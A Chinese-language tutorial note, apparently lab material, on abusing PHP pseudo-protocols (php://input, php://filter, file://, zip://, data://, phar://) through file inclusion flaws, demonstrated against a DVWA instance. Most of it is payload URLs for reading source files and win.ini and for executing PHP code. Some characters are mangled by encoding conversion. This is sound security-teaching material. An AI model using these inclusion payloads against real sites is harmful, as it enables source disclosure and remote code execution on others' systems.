PHP偽協(xié)議:
| 協(xié)議 | 功能 |
|---|---|
| file:// | 訪問本地文件,需要絕對路徑 |
| http:// | 訪問http/https |
| ftp:// | 訪問ftp |
| zlib:// | 壓縮流 |
| data:// | 數(shù)據(jù)(RFC 2397) |
| glob:// | 查找匹配的文件路徑模式 |
| phar:// | php歸檔 |
| ssh2::// | secure shell 2 |
| rar:// | RAR |
| ogg:// | 音頻流 |
| expect:// | 處理式交互流 |
| php:// | 訪問各個輸入/輸出流 |
部分協(xié)議會受到配置文件中allow_url_fopen和allow_url_include所影響
偽協(xié)議在攻防中,通常被文件包含漏洞或者xxe所利用
php://
不受allow_url_fopen影響
php://input、php://stdin、php://memory、php://temp受allow_url_include影響
php://input
可以訪問POST的內(nèi)容
當enctype="multipart/from-data"時,php://input無效
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://input
post提交<?php phpinfo()?>
php://filter
php://filter可以讀寫文件
在文件包含頁面讀取源碼:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
讀出的源碼經(jīng)過了base64編碼,不經(jīng)過base64編碼的話會直接執(zhí)行
file://
不受allow_url_fopen和allow_url_include影響
使用方法: file://+[文件絕對路徑]
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=file://c:/windows/win.ini
成功讀取到win.ini的內(nèi)容
zip://、bzip://、zlib://
不受allow_url_fopen和allow_url_include影響
使用方法:zip://[壓縮包絕對路徑]#[壓縮包文件的子文件名]
寫入<?php phpinfo();?>到1.txt并壓縮到c://1.zip
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=zip://c:/1.zip%231.txt (這里我用#號會報錯,所以使用了%23)
data://
受allow_url_fopen和allow_url_include影響
可以利用該協(xié)議執(zhí)行代碼
page=data://text/plain,<?php phpinfo()?>
如果有符號被過濾可以試試base64編碼page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://
寫入<?php phpinfo();?>到1.txt并壓縮到c://1.zip,改后綴名為1.jpg
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=phar://c:/1.jpg/1.txt
可以看到這樣也可以執(zhí)行php代碼








